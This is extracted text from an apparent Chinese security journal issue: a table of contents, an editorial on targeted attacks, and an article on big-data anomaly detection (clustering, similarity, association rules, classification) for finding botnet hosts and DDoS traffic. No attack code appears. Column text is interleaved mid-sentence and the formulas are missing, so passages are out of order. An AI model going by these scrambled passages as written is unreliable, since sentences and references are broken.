卷 首 语 专 家 视 角 赵 粮 2 3-31 面 向 安 全 的 大 数 据 分 析 方 法 和 思 路 王 卫 东 3 简 析 Web 扫 描 网 络 数 据 特 征 周 大 刘 亚 11 浅 谈 信 息 安 全 早 期 预 警 理 论 模 型 聊 聊 ZeroAccess botnet 的 P2P 机 制 肖 岩 军 刘 亚 17 26 行 业 热 点 商 业 银 行 信 息 科 技 风 险 管 理 状 况 行 业 对 比 分 析 Android 四 大 组 件 安 全 关 于 强 化 系 统 运 维 安 全 管 理 的 技 术 探 讨 基 于 VMware 环 境 下 恶 意 代 码 自 动 分 析 平 台 的 搭 建 前 沿 技 术 php.net 被 植 入 恶 意 代 码 分 析 齐 芳 王 东 亚 张 盼 张 旭 殷 水 军 张 云 海 32-49 32 38 42 46 50-70 50 MS Word 二 进 制 文 件 漏 洞 浅 析 李 志 昕 57 PDF 0day CVE-2013-0640 分 析 刘 业 欣 曲 富 平 64 工 业 控 制 系 统 的 安 全 研 究 与 实 践 综 合 信 息 李 鸿 培 忽 朝 俭 王 晓 鹏 71-79 80 1

刊 首 语 2014, 在 路 上 定 向 攻 击 可 以 来 自 内 部 或 外 部, 但 是 只 要 某 个 系 统 应 用 或 账 号 被 侵 入, 所 有 后 续 的 行 为 看 起 来 都 是 来 自 内 部 的, 就 像 被 入 侵 的 目 标 自 身 发 起 的 一 样 因 为 每 个 定 向 攻 击 都 有 不 同, 我 们 不 能 再 仅 仅 依 赖 预 先 定 义 的 攻 击 手 法 或 关 联 规 则 来 检 测 定 向 攻 击, 还 需 要 在 发 现 正 常 行 为 模 式 的 改 变 上 做 得 更 好, 这 些 行 为 改 变 很 有 可 能 是 一 次 攻 击 或 入 侵 的 早 期 信 号 -Gartner 2012 攻 防 对 抗 不 断 升 级, 双 方 的 武 器 库 都 进 行 了 大 规 模 的 增 强 例 如 ZeroAccess 僵 尸 网 络 采 用 大 规 模 的 分 布 式 P2P 技 术, 单 个 僵 尸 网 络 规 模 可 达 千 万, 僵 尸 程 序 的 各 个 组 件 可 以 分 别 独 立 升 级,BotMaster 随 意 挑 选 若 干 僵 尸 节 点 发 出 升 级 和 攻 击 指 令, 僵 尸 网 络 自 动 完 成 全 网 分 发, 而 BotMaster 却 不 会 暴 露 自 己 而 防 守 一 方 的 手 段 和 运 作 效 率 同 样 令 人 印 象 深 刻 php.net 被 植 入 恶 意 代 码 2013 年 10 月 23 日 被 发 现,24 日 Virustotal 上 已 有 几 种 恶 意 软 件 查 杀 程 序 可 以 检 测,25 日 已 有 半 数 左 右 的 程 序 可 以 查 杀, 一 周 之 内 主 要 的 杀 毒 程 序 都 完 成 更 新 攻 击 方 的 时 间 窗 口 被 大 幅 挤 压, 攻 击 成 本 相 应 明 显 上 升 感 兴 趣 的 读 者 可 以 在 本 期 的 文 章 中 找 到 上 面 两 个 例 子 的 详 细 信 息 战 场 上 决 定 攻 防 成 败 的 因 素 中, 智 能 (Intelligence) 无 疑 是 第 一 个 关 键 因 素 智 能 也 可 以 称 为 情 报, 是 所 有 相 关 的 攻 防 知 识 和 上 下 文 的 集 合, 例 如 最 新 的 和 历 史 的 漏 洞 漏 洞 利 用 和 威 胁 样 本 信 息 网 络 主 体 的 历 史 行 为 和 基 于 此 的 信 誉 信 息 在 安 全 智 能 的 运 作 过 程 中, 威 胁 感 知 和 数 据 分 析 能 力 紧 密 相 关 在 智 能 之 外, 自 动 化 (Automation) 能 力 在 很 大 程 度 上 决 定 了 攻 防 的 成 本 和 效 率 自 动 化 是 指 采 用 机 机 接 口 脚 本 或 其 它 工 具 来 自 动 化 完 成 安 全 设 备 和 各 种 能 力 的 部 署 流 量 调 度 推 理 判 断 决 策 策 略 调 整 等 这 种 能 力 不 仅 仅 是 人 工 和 时 间 的 节 省, 还 意 味 着 大 量 的 安 全 中 间 数 据 的 产 生, 将 会 直 接 使 后 续 的 数 据 分 析 和 闭 环 提 高 过 程 而 一 般 来 说, 人 工 过 程 比 较 难 做 到 这 一 点 自 动 化 能 力 对 安 全 用 户 和 安 全 提 供 商 同 等 重 要 虽 然 业 界 围 绕 安 全 自 动 化 的 努 力 在 过 去 进 展 缓 慢, 但 令 人 兴 奋 的 是, 蓬 勃 发 展 的 软 件 定 义 网 络 (SDN) 的 思 想 给 安 全 自 动 化 带 来 了 崭 新 的 机 会 2014, 在 路 上 2

专 家 视 角 面 向 安 全 的 大 数 据 分 析 方 法 和 思 路 安 全 咨 询 部 王 卫 东 关 键 字 : 大 数 据 安 全 异 常 检 测 机 器 学 习 摘 要 : 本 文 首 先 从 原 理 的 层 面 对 适 用 于 异 常 检 测 的 大 数 据 分 析 算 法 做 了 简 单 介 绍, 然 后 描 述 了 针 对 告 警 和 行 为 两 大 类 数 据 的 分 析 思 路, 并 举 例 说 明 如 何 利 用 前 述 的 分 析 算 法 和 分 析 思 路 获 得 期 望 的 分 析 结 果 1. 大 数 据 分 析 概 述 1.1 大 数 据 的 基 本 特 征 年 来 由 于 理 论 方 面 的 ( 方 法 和 算 法 ) 和 工 程 方 面 ( 计 算 能 近 力 ) 的 条 件 逐 渐 成 熟, 大 数 据 分 析 成 为 IT 领 域 的 一 个 热 门 话 题 对 于 什 么 是 大 数 据, 有 多 种 不 尽 相 同 的 描 述 但 是 大 数 据 所 具 备 的 几 个 特 性, 是 为 业 界 所 公 认 的 即 所 谓 的 若 干 个 V(Volume, Variety, Value, Velocity, Veracity), 中 文 的 含 义 分 别 对 应 的 是 数 量 巨 大 种 类 繁 多 ( 结 构 迥 异 ) 价 值 蕴 藏 流 转 迅 速 真 实 可 靠 除 此 以 外, 跨 度 绵 长 也 是 大 数 据 的 一 个 重 要 特 征, 也 就 是 数 据 应 该 覆 盖 较 大 跨 度 的 时 间 范 围 大 数 据 的 这 几 个 特 征 也 可 以 作 为 我 们 采 集 大 数 据 的 时 候 需 要 依 据 的 原 则 1.2 大 数 据 的 应 用 场 景 传 统 的 大 数 据 分 析 主 要 用 于 科 研 领 域 的 知 识 发 现 和 模 式 识 别, 如 基 因 组 序 列 地 质 气 象 数 据 高 能 物 理 实 验 数 据 等 各 种 科 研 数 据 的 分 析 以 及 手 写 字 迹 和 语 音 影 像 识 别 等 等 近 年 来 的 大 数 据 分 析 主 要 集 中 在 商 业 决 策 领 域 里 的 用 户 行 为 模 式 分 析 生 产 设 备 ( 发 电 机 组 运 输 车 辆 等 ) 运 行 数 据 分 析 产 品 服 务 的 价 格 信 息 分 析 等 大 数 据 分 析 方 法 在 异 常 检 测 领 域 也 有 着 广 阔 的 应 用 前 景, 例 如 对 地 震 海 啸 火 灾 罪 案 发 生 地 点 等 突 发 事 件 的 预 警, 再 例 如 对 金 融 交 易 欺 诈 ( 洗 钱 证 券 内 幕 交 易 等 ) 社 会 福 利 欺 诈 财 务 报 销 欺 诈 等 欺 诈 行 为 的 检 测 此 外, 大 数 据 分 析 还 可 以 在 内 部 威 胁 行 为 发 现 僵 尸 检 测 攻 击 入 侵 检 测 脆 弱 性 分 析 等 信 息 安 全 方 面 发 挥 作 用, 但 是 这 方 面 的 应 用 还 不 是 很 多 本 文 将 重 点 阐 述 大 数 据 分 析 发 现 异 常 行 为 或 攻 击 事 件 的 方 法 与 思 路, 这 些 异 常 行 为 或 攻 击 事 件 通 常 是 传 统 分 析 方 法 无 法 发 现 的 1.3 对 异 常 行 为 或 攻 击 事 件 及 其 检 测 效 果 的 界 定 为 了 明 确 分 析 目 标 且 不 产 生 歧 义, 有 必 要 对 异 常 行 为 或 攻 击 事 3

专 家 视 角 件 ( 以 下 简 称 异 常 ) 的 范 围 做 出 明 确 的 界 定, 这 里 用 枚 举 的 方 式 尽 可 能 多 地 罗 列 出 常 见 的 异 常 : 异 常 的 域 名 解 析 请 求 网 络 扫 描 频 繁 登 录 失 败 身 份 冒 用 超 量 数 据 传 输 非 授 权 访 问 非 法 外 联 行 为 交 易 欺 诈 行 为 Web 攻 击 行 为 DDoS 攻 击 对 异 常 的 描 述 一 般 应 该 至 少 包 括 6 个 元 素, 即 时 间 地 点 主 体 客 体 操 作 ( 动 作 ) 方 式 检 测 结 果 若 能 覆 盖 全 部 6 个 元 素, 这 样 的 检 测 效 果 是 最 理 想 的 但 某 些 检 测 指 标 或 方 法 得 到 的 异 常 描 述 不 能 全 部 覆 盖 这 6 个 元 素, 也 可 以 作 为 有 效 的 检 测 结 果 例 如, 对 DDoS 攻 击 的 检 测, 有 时 候 无 法 获 得 攻 击 源 的 IP 地 址 或 者 检 测 到 的 IP 地 址 是 伪 造 的, 但 是 只 要 能 确 定 某 个 目 标 IP 地 址 受 到 攻 击, 仍 然 可 以 作 为 有 效 的 检 测 2. 适 用 于 异 常 检 测 的 大 数 据 分 析 算 法 大 数 据 分 析 领 域 里 所 涉 及 的 统 计 学 习 算 法 有 很 多, 不 同 的 算 法 也 有 各 自 适 用 的 场 景 本 节 内 容 只 选 择 笔 者 认 为 适 用 于 检 测 异 常 的 算 法 做 原 理 介 绍 用 于 检 测 异 常 的 数 据 通 常 都 是 低 维 数 据, 那 些 用 于 降 维 和 处 理 高 维 数 据 的 算 法 应 该 不 适 用 检 测 结 果 通 常 只 有 正 常 异 常 未 知 三 类, 即 只 期 待 将 数 据 对 象 分 成 三 类, 适 合 用 于 结 果 为 多 个 分 类 的 算 法, 也 可 能 不 适 用 2.1 经 典 统 计 方 法 对 特 定 网 络 数 据 的 统 计 指 标 ( 如 无 序 度 置 信 区 间 方 差 标 准 差 极 值 中 位 值 平 均 值 ) 等 进 行 统 计, 当 这 些 指 标 发 生 异 常 变 化 的 时 候, 可 以 确 认 异 常 的 存 在 但 这 类 检 测 的 结 果 多 数 情 况 下 是 非 特 异 性 的 例 如 总 流 量 和 源 IP 地 址 离 散 度 突 然 发 生 变 化 的 时 候, 明 显 提 示 有 DDoS 攻 击 存 在, 但 不 能 提 示 具 体 是 哪 种 攻 击 和 攻 击 的 来 源 等 2.2 聚 类 / 离 群 分 析 算 法 聚 类 分 析 过 程 是 按 照 数 据 对 象 的 属 性 将 它 们 分 成 若 干 个 类 别, 同 一 类 内 部 的 对 象 尽 可 能 相 似, 不 同 类 的 差 异 尽 可 能 大 聚 类 是 一 个 自 动 的 过 程, 不 用 事 先 指 定 分 类 标 准 或 给 出 学 习 样 本 可 以 把 聚 类 简 单 的 概 括 为 聚 物 成 类 类 内 相 似 类 间 互 异 无 须 指 导 离 群 实 际 上 是 聚 类 的 反 义, 离 群 侧 重 观 察 没 有 被 聚 类 的 数 据 对 象 通 常 利 用 对 象 属 性 的 距 离 或 空 间 密 度 来 衡 量 它 们 的 相 似 程 度 聚 类 算 法 有 很 多 种, 根 据 基 本 原 理 还 可 以 分 成 基 于 密 度 基 于 网 格 基 于 分 区 基 于 分 层 基 于 模 型 等 几 大 类 常 见 的 聚 类 算 法 有 : 基 于 密 度 的 算 法 ( 如 DBSCAN), 其 基 本 思 想 是 : 在 给 定 半 径 E 的 区 域 内, 数 据 点 的 个 数 大 于 给 定 最 小 值 MinPts, 则 区 域 内 点 属 于 同 一 个 聚 类 基 于 网 格 的 算 法 ( 如 CLIQUE), 其 基 本 思 想 是 : 将 数 据 空 间 的 每 一 维 度 平 均 地 分 割 成 等 长 的 区 间 段, 则 数 据 空 间 就 被 分 割 成 若 干 个 不 相 交 的 网 格 单 元 由 于 同 一 网 格 单 元 中 的 点 属 于 同 一 类 的 可 能 性 比 较 大, 这 样 落 入 同 一 单 元 中 的 点 就 可 以 当 作 同 一 个 对 象 来 进 行 处 理 聚 类 分 析 大 都 以 网 格 单 元 为 对 象 进 行 4

专 家 视 角 2.3 相 似 性 分 析 算 法 相 似 性 分 析 是 判 断 若 干 个 数 据 对 象 是 否 具 有 相 近 取 值 或 相 近 的 变 化 趋 势 有 人 把 相 似 性 算 法 也 当 作 聚 类 算 法 的 一 种, 虽 然 相 似 性 算 法 可 以 作 为 聚 类 分 析 的 工 具, 但 是 由 于 相 似 性 分 析 更 侧 重 在 分 析 对 象 个 体 之 间 相 似 关 系, 而 聚 类 更 侧 重 在 大 量 对 象 的 类 别 划 分, 并 提 取 类 别 的 共 同 的 属 性 特 征, 所 以 这 里 把 相 似 性 分 析 单 列 为 一 种 方 法 相 似 性 分 析 通 常 把 每 个 数 据 对 象 看 作 多 维 空 间 中 的 一 个 点, 对 象 之 间 的 相 似 性 可 以 用 相 似 性 系 数 或 某 种 距 离 来 表 示 相 似 系 数 接 近 1 或 距 离 较 近 的 对 象 性 质 较 相 似, 相 似 系 数 接 近 0 或 距 离 较 远 的 对 象 则 差 异 较 大 不 同 的 数 据 类 型, 适 用 不 同 的 相 似 系 数 计 算 公 式 常 用 的 相 似 系 数 或 距 离 计 算 公 式 有 : 公 式 (1-2) 是 相 似 系 数 计 算 公 式 公 式 (1-3) 是 Jaccard 相 似 系 数 计 算 公 式 通 常 杰 卡 德 相 似 系 数 处 理 的 都 是 非 对 称 二 元 变 量 即 假 设 A 和 B 是 两 个 n 维 向 量, 而 且 所 有 维 度 的 取 值 都 是 0 或 1 非 对 称 的 意 思 是 指 状 态 的 两 个 输 出 不 是 同 等 重 要 的, 例 如, 疾 病 检 查 的 阳 性 和 阴 性 结 果 其 中 : M11 表 示 A 与 B 的 对 应 维 度 都 是 1 的 维 度 的 个 数 M10 表 示 A 与 B 的 对 应 维 度 分 别 是 1 和 0 的 维 度 的 个 数 (1-1) M01 表 示 对 应 维 度 分 别 是 0 和 1 的 维 度 的 个 数 M00 表 示 A 与 B 的 对 应 维 度 都 是 0 的 维 度 的 个 数 习 惯 上 将 较 重 要 的 输 出 结 果 也 通 常 是 (1-2) 出 现 几 率 较 小 的 结 果 编 码 为 1 ( 例 如 HIV 阳 性 ), 而 将 另 一 种 结 果 编 码 为 0 在 某 些 领 域, 认 为 正 匹 配 (M11) 比 负 匹 配 (M00) 更 有 意 义, (1-3) 负 匹 配 的 数 量 M00 认 为 是 不 重 要 的, 可 以 在 计 算 时 忽 略 下 面 我 们 用 一 个 简 单 的 实 例 来 说 明 相 似 公 式 (1-1) 是 变 量 Xi 和 Xj 的 空 间 距 离 计 算 公 式 性 分 析 的 过 程 假 设 有 5 个 面 试 官 对 10 个 5

专 家 视 角 应 聘 者 评 分, 评 分 情 况 如 表 1 将 这 组 数 值 分 别 代 入 公 式 (1-1) 和 (1-2), 可 以 得 到 相 似 系 数 矩 阵 ( 表 2) 和 空 间 距 离 矩 阵 ( 表 3) 从 这 两 个 矩 应 聘 者 1 2 3 4 5 6 7 8 9 10 面 试 官 1 8 6 7 8 6 7 8 4 6 8 面 试 官 2 8 7 6 9 7 6 8 5 5 9 面 试 官 3 9 5 7 8 5 8 7 3 6 8 面 试 官 4 7 6 6 7 6 7 8 4 4 7 面 试 官 5 6 7 6 8 6 6 9 8 5 6 表 1 考 官 评 分 表 面 试 官 1 面 试 官 2 面 试 官 3 面 试 官 4 面 试 官 5 面 试 官 1 1.000 面 试 官 2 0.793 1.000 面 试 官 3 0.928 0.608 1.000 面 试 官 4 0.859 0.793 0.726 1.000 面 试 官 5 0.027 0.298-0.203 0.301 1.000 表 2 相 似 系 数 矩 阵 阵 中 可 以 看 出, 面 试 官 5 与 其 他 面 试 官 的 评 价 结 论 明 显 不 同 2.4 关 联 分 析 算 法 关 联 分 析 的 目 标 是 从 数 据 中 找 到 关 联 规 则 所 谓 关 联 规 则 是 形 如 X Y 的 蕴 涵 式, 表 示 通 过 X 可 以 推 导 得 到 Y, 其 中 X 和 Y 分 别 称 为 关 联 规 则 的 前 提 和 结 果 在 满 足 最 小 支 持 度 和 最 小 置 信 度 的 条 件 下, 才 能 认 为 通 过 X 可 以 推 导 得 到 Y 成 立 在 理 解 算 法 之 前, 首 先 需 要 了 解 几 个 基 本 概 念 : 支 持 度 : 指 的 是 事 件 X 和 事 件 Y 同 时 发 生 的 概 率, 即 Support=P(XY) 置 信 度 : 指 的 是 在 发 生 事 件 X 的 基 础 上 发 生 事 件 Y 的 概 率, Confidence = P(Y X) = P(XY)/P(X) 项 集 : I={I1, I2,, Im} 是 项 的 集 合 交 易 数 据 库 : D={t1, t2,, tn} 交 易 : 交 易 t 由 多 个 项 组 成,t 是 I 的 非 空 子 集 TID: 每 一 个 交 易 都 与 一 个 惟 一 的 标 识 符 对 应 频 繁 项 集 : 满 足 最 小 支 持 度 阈 值 的 项 集 面 试 官 1 面 试 官 2 面 试 官 3 面 试 官 4 面 试 官 5 面 试 官 1 0.00 面 试 官 2 2.828 0.00 面 试 官 3 2.449 4.690 0.00 面 试 官 4 2.828 3.742 4.000 0.00 面 试 官 5 5.385 5.000 7.280 4.796 0.00 表 3 空 间 距 离 矩 阵 图 1 关 联 分 析 的 几 个 基 本 概 念 6

专 家 视 角 还 存 在 其 它 可 能 的 关 联 规 则, 例 如 网 球 拍 + 网 球 运 动 鞋 现 实 中 的 关 联 分 析 可 以 从 两 个 方 向 展 开, 一 个 是 根 据 已 有 知 识 猜 测 存 在 某 个 关 联 规 则 ( 网 球 拍 网 球 的 例 子 就 是 这 种 情 况 ), 然 后 计 算 其 支 持 度 和 置 信 度, 如 果 两 者 都 大 于 最 小 阈 值, 则 可 认 定 关 联 规 则 存 在 另 一 个 方 向 是 遍 历 项 集, 寻 找 满 足 最 小 支 持 度 和 置 信 度 阈 值 的 关 联 项 集 规 则 Apriori 算 法 属 于 后 一 种 分 析 过 程 受 篇 幅 的 限 制, 同 时 为 了 不 偏 离 本 文 的 主 题, 这 里 就 不 具 体 给 出 Apriori 算 法 的 计 算 过 程 了 2.5 分 类 算 法 分 类 就 是 将 每 一 个 数 据 对 象 划 分 到 一 个 已 知 的 类 别 中 数 学 上 的 表 达 就 是 确 定 一 个 映 射 规 则 Y=f(X), 使 得 任 意 数 据 对 象 Xi 有 且 图 2 关 联 分 析 算 法 举 例 为 了 更 好 地 理 解 上 面 的 概 念, 图 1 给 出 了 更 形 象 的 描 述 圆 角 矩 形 表 示 全 部 项 的 集 合 I, 椭 圆 中 蓝 圆 点 表 示 X 事 件, 菱 形 中 绿 三 角 表 示 Y 事 件 这 里 用 一 个 简 单 的 实 例 来 说 关 联 分 析 算 法 的 原 理 如 图 2, 假 设 有 6 条 交 易 记 录 的 交 易 记 录 库, 涉 及 了 网 球 拍 网 球 运 动 鞋 羽 毛 球 4 种 商 品 首 先, 根 据 经 验 猜 测 可 能 存 在 关 联 规 则 网 球 拍 网 球 观 察 发 现, 交 易 1,2,3,4,6 包 含 网 球 拍, 计 数 为 5, 其 中 交 易 1,2,6 同 时 包 含 网 球 拍 和 网 球 并 根 据 支 持 度 和 置 信 度 定 义 计 算 : 支 持 度 =3/6=0.5, 置 信 度 =3/5=0.6 若 最 小 支 持 度 α= 0.5, 最 小 置 信 度 β= 0.6, 则 网 球 拍 网 球 为 强 规 则 注 意, 在 这 个 实 例 中, 仅 有 一 个 Yi, 使 得 Yi=f(Xi) 成 立 其 中 f 称 为 分 类 器 分 类 的 过 程 就 是 通 过 对 已 知 类 别 训 练 数 据 集 的 分 析, 从 中 发 现 分 类 规 则, 以 此 对 待 分 类 数 据 对 象 的 类 别 归 属 做 出 ( 预 测 ) 判 断 分 类 算 法 的 具 体 实 现 有 很 多 种, 常 见 的 有 线 性 判 别 分 析 (LDA,Linear Discriminant Analysis) 朴 素 贝 叶 斯 (NB,Naive Bayesian) 神 经 网 络 (NN, Neural Network) 支 持 向 量 机 (SVM, Support Vector Machine) 决 策 树 (Decision Tree) 基 于 关 联 规 则 的 分 类 等 分 类 算 法 是 有 监 督 的 学 习 算 法, 也 就 是 从 给 定 的 训 练 数 据 集 中 学 习 出 一 个 函 数, 当 新 的 数 据 到 来 时, 根 据 这 个 函 数 预 测 结 果 训 练 数 据 集 是 已 经 做 过 分 类 标 记 的 样 本 数 据 3. 面 向 安 全 的 大 数 据 分 析 思 路 7

专 家 视 角 分 析 思 路 是 大 数 据 分 析 的 重 要 环 节 成 功 因 素 之 一 分 析 思 路 应 该 包 括 拟 分 析 的 数 据 对 象 是 什 么 拟 采 用 的 过 程 步 骤 是 什 么 期 待 得 到 的 分 析 结 果 是 什 么 等 3.1 可 分 析 数 据 用 于 检 测 异 常 的 数 据 大 体 上 可 以 分 为 三 类, 即 行 为 日 志 ( 网 络 日 志 主 机 日 志 业 务 交 易 ) 传 感 器 日 志 ( 防 火 墙 IPS 等 安 全 设 备 告 警 日 志 以 及 错 误 日 志 ) 环 境 相 关 数 据 含 异 常 并 不 确 定, 需 要 进 行 深 入 的 挖 掘, 筛 选 出 其 中 的 异 常 因 此 分 析 过 程 可 以 分 为 : 告 警 驱 动 ( 基 于 线 索 ) 和 行 为 驱 动 ( 基 于 算 法 ) 两 种 告 警 驱 动 ( 基 于 线 索 ) 的 过 程 如 图 3, 异 常 检 测 与 凶 案 侦 破 很 相 似, 在 本 质 上 都 是 寻 找 真 相 的 过 程 凶 案 发 生 后, 通 常 警 察 首 先 要 在 命 案 现 场 寻 找 痕 迹 证 据, 然 后 再 梳 理 被 害 人 的 社 会 关 系 以 及 近 期 有 过 联 系 交 往 的 人, 确 认 这 些 人 中 是 否 有 人 存 在 疑 点 仿 照 这 样 一 个 过 程, 首 先 可 以 将 告 警 ( 蜜 网 IPS 防 火 墙 等 设 备 上 的 告 警 ) 和 错 误 信 息 ( 邮 件 发 送 失 败 登 录 失 败 Web 访 问 错 误 DNS 解 析 错 误 等 ) 当 作 线 索, 从 中 提 取 涉 事 主 体 的 信 息 (IP 地 址 或 域 名 ), 再 从 行 为 日 志 中 找 到 涉 事 主 体 的 通 讯 对 端 (IP 地 址 或 域 名 ), 并 ( 资 产 信 息 ) 直 接 用 来 分 析 的 数 据 只 有 前 两 类, 而 环 境 相 关 数 据 主 要 用 于 参 考 和 提 示, 如 判 断 访 问 的 合 法 性 增 加 结 果 的 可 读 性 等 信 息 安 全 领 域 里 分 析 的 数 据 主 要 是 网 络 日 志 和 主 机 日 志 如 果 分 析 目 标 是 发 现 业 务 层 次 方 面 的 欺 诈 行 为, 如 洗 钱 证 券 内 幕 交 易 操 作 等, 则 需 要 分 析 交 易 日 志 在 反 业 务 欺 诈 方 面 已 经 有 不 少 的 成 功 案 例 3.2 分 析 的 过 程 行 为 日 志 和 传 感 器 日 志 是 可 供 分 析 的 两 大 类 数 据, 它 们 具 有 完 全 不 同 的 性 质 传 感 器 日 志 是 对 安 全 规 则 策 略 的 冲 突 所 触 发 的, 其 内 容 本 身 已 经 提 示 存 在 异 常, 因 此 可 以 作 为 分 析 的 线 索 加 以 利 用 行 为 日 志 中 是 否 包 图 3 凶 案 侦 查 与 基 于 线 索 的 异 常 检 测 进 一 步 分 析 这 些 通 讯 对 端 的 属 性 ( 数 量 分 布 的 连 续 性 公 有 私 有 注 册 时 间 等 等 ) 以 及 它 们 直 接 通 讯 过 程 的 情 况 ( 流 量 大 小 及 时 间 分 布 协 议 类 型 及 分 布 周 期 性 相 似 性 等 ) 行 为 驱 动 ( 基 于 算 法 ) 的 过 程 2013 年 4 月, 美 国 波 士 顿 马 拉 松 接 近 终 点 的 比 赛 现 场 发 生 恐 怖 袭 击 爆 炸 调 查 人 员 通 过 查 看 现 场 视 频 监 控 资 料, 发 现 有 两 个 观 众 的 装 束 举 止 明 显 与 周 围 观 众 不 同, 从 而 最 终 锁 定 8

专 家 视 角 了 犯 罪 嫌 疑 人 在 海 量 的 行 为 日 志 中 检 测 异 常, 无 异 于 在 熙 熙 攘 攘 的 人 群 中 查 找 发 动 恐 怖 袭 击 的 嫌 犯 显 然 无 法 指 望 这 个 过 程 靠 人 工 来 完 成 如 果 能 开 发 出 一 个 简 单 易 用 的 综 合 各 种 聚 类 分 类 相 似 性 分 析 关 联 分 析 等 算 法 的 分 析 引 擎, 就 可 以 将 海 量 的 行 为 日 志 输 入 到 分 析 引 擎, 按 照 我 们 指 定 的 算 法 和 参 数 自 动 完 成 分 析 工 作, 然 后 再 对 分 图 4 域 名 请 求 行 为 描 述 矩 阵 析 结 果 辅 以 人 工 的 判 断 3.3 基 于 各 种 期 待 结 果 的 分 析 场 景 内 网 僵 尸 主 机 的 检 测 大 多 数 僵 尸 程 序 初 次 感 染 内 部 主 机 之 后, 首 先 要 发 起 一 系 列 域 名 解 析 请 求, 用 以 和 外 部 的 C&C 服 务 器 联 系 这 些 域 名 的 很 多 属 性 ( 长 度 子 域 层 数 TTL 相 似 性 等 等 ) 与 正 常 域 名 有 明 显 的 差 异 这 些 异 常 可 以 被 很 多 分 析 方 法 所 发 现, 例 如 : 设 计 恰 当 的 统 计 指 标 并 做 出 相 应 的 统 计, 还 可 以 主 机 IP 地 址 为 主 体, 将 它 们 的 域 名 请 求 行 为 转 换 成 行 为 描 述 矩 阵, 如 图 4, 左 侧 的 矩 阵 中 的 数 字 表 示 某 个 IP 地 址 请 求 解 析 某 个 域 名 的 次 数, 右 侧 矩 阵 表 示 某 个 IP 地 址 是 否 请 求 解 图 5 域 名 请 求 行 为 的 相 似 性 分 析 结 果 析 了 某 个 域 名 利 用 相 似 性 分 析 可 以 得 到 主 机 域 名 请 求 行 为 的 相 似 性 分 析 结 果 ( 如 图 5), 从 而 有 可 能 发 现 域 名 请 求 行 为 异 常 的 主 机 实 际 上 也 可 以 域 名 为 主 体, 将 它 们 被 IP 地 址 请 求 解 析 的 行 为 转 换 成 描 述 矩 阵, 做 相 同 的 分 析, 只 不 过 这 种 分 析 的 结 果 是 找 到 属 于 C&C 服 务 器 的 域 名 DDoS 攻 击 检 测 通 常 DDoS 攻 击 流 量 都 是 由 僵 尸 程 序 产 生 的, 假 设 这 些 攻 击 流 量 的 特 征 与 正 常 访 问 存 在 一 定 差 异, 如 果 把 每 个 会 话 的 属 性 ( 协 议 类 型 协 议 指 纹 特 征 字 节 数 持 续 时 间 等 等 ) 作 为 一 个 多 维 数 据 对 象, 那 些 攻 击 流 量 的 会 话 的 各 个 属 性 理 论 上 应 该 非 常 一 致 理 想 情 况 下 可 9

专 家 视 角 以 通 过 聚 类 分 析 将 这 些 攻 击 流 量 聚 到 一 类 如 果 已 知 一 些 攻 击 流 量 的 特 征, 可 以 考 虑 生 成 一 组 学 习 样 本 数 据, 交 给 分 类 算 法 进 行 学 习, 从 而 得 到 分 类 器, 利 用 分 类 器 对 新 的 流 量 数 据 进 行 分 析 但 是 这 种 方 法 具 有 较 大 的 局 限, 首 先 获 得 含 有 攻 击 特 征 的 样 本 数 据 具 有 一 定 困 难, 其 次 将 这 些 数 据 生 成 学 习 样 本 需 要 很 大 的 开 销, 所 以 这 种 方 法 只 能 发 现 已 知 特 征 的 异 常 内 网 主 机 异 常 行 为 发 现 内 部 主 机 异 常 行 为 包 括 很 多 情 况, 包 括 主 机 本 地 的 行 为 ( 创 建 后 进 行 相 似 性 分 析 或 关 联 分 析 对 行 为 链 的 相 似 性 分 析 与 前 述 域 名 解 析 请 求 相 似 分 析 非 常 类 似, 不 再 赘 述 在 做 关 联 分 析 时, 一 个 行 为 链 可 以 看 作 一 个 关 联 分 析 中 的 一 个 交 易 记 录 其 中 的 各 个 行 为 可 以 看 作 项 集 中 的 项 关 联 分 析 的 结 果 可 能 是 一 个 ( 组 ) 行 为 A 与 一 个 ( 组 )B 存 在 强 关 联 关 系 若 A 为 已 知 的 异 常, 则 B 很 可 能 是 异 常 4. 结 束 语 成 功 的 大 数 据 分 析 依 赖 于 三 个 主 要 因 素, 即 数 据 思 路 和 算 法 由 于 大 数 据 的 自 身 特 性, 无 论 是 数 据 采 集 还 是 存 储, 都 是 一 项 极 具 挑 战 性 的 工 作 分 析 思 路 主 导 着 整 个 分 析 工 作 的 过 程, 只 有 清 晰 可 行 的 思 路, 才 会 最 终 引 导 大 数 据 分 析 工 作 获 得 成 功 尽 管 近 几 年 大 数 据 分 析 所 依 赖 的 机 器 学 习 算 法 在 理 论 上 取 得 很 多 突 破 和 可 实 际 应 用 的 成 果, 在 具 体 的 分 析 过 程 中 还 需 要 很 多 试 验 来 筛 选 更 加 适 用 的 算 法 和 相 应 的 参 数 总 的 来 说, 将 大 数 据 分 析 的 方 法 应 用 于 信 息 安 全 领 域 里 的 异 常 检 测 还 需 要 有 很 多 扎 实 的 实 验 工 作 要 做 本 文 只 是 从 理 论 模 型 和 方 法 框 架 方 面 做 了 一 些 初 步 的 阐 述, 这 些 构 想 是 否 符 合 实 图 6 行 为 链 的 构 建 账 号 创 建 文 件 修 改 注 册 表 内 存 属 性 变 化 进 程 变 化 等 等 ) 和 网 络 访 问 行 为 ( 域 名 解 析 请 求 HTTP 访 问 请 求 ARP 广 播 等 等 ) 在 对 主 机 行 为 分 析 之 前, 必 须 先 将 描 述 各 种 行 为 的 异 构 日 志 转 换 成 适 合 分 析 比 较 的 行 为 链 如 图 6 所 示, 左 侧 彩 色 横 条 代 表 各 种 不 同 类 型 的 日 志, 可 以 按 照 IP 地 址 或 账 号 ID 为 索 引, 生 成 行 为 链, 然 际, 还 需 要 在 实 际 的 分 布 式 计 算 平 台 ( 如 Hadoop) 上 开 发 相 应 的 算 法 程 序 来 做 大 量 的 验 证 性 的 工 作 加 以 证 明 除 了 分 析 算 法 以 外, 可 视 化 也 是 一 种 非 常 重 要 且 有 效 的 分 析 手 段 可 视 化 既 可 以 作 为 分 析 工 具, 直 接 以 图 形 方 式 呈 现 数 据 之 间 的 关 系, 提 高 数 据 可 读 性, 又 可 以 作 为 分 析 结 果 的 呈 现 工 具, 使 分 析 结 果 更 加 直 观 受 篇 幅 的 限 制, 本 文 没 有 对 可 视 化 呈 现 给 出 描 述, 希 望 后 续 有 机 会 做 出 补 充 10

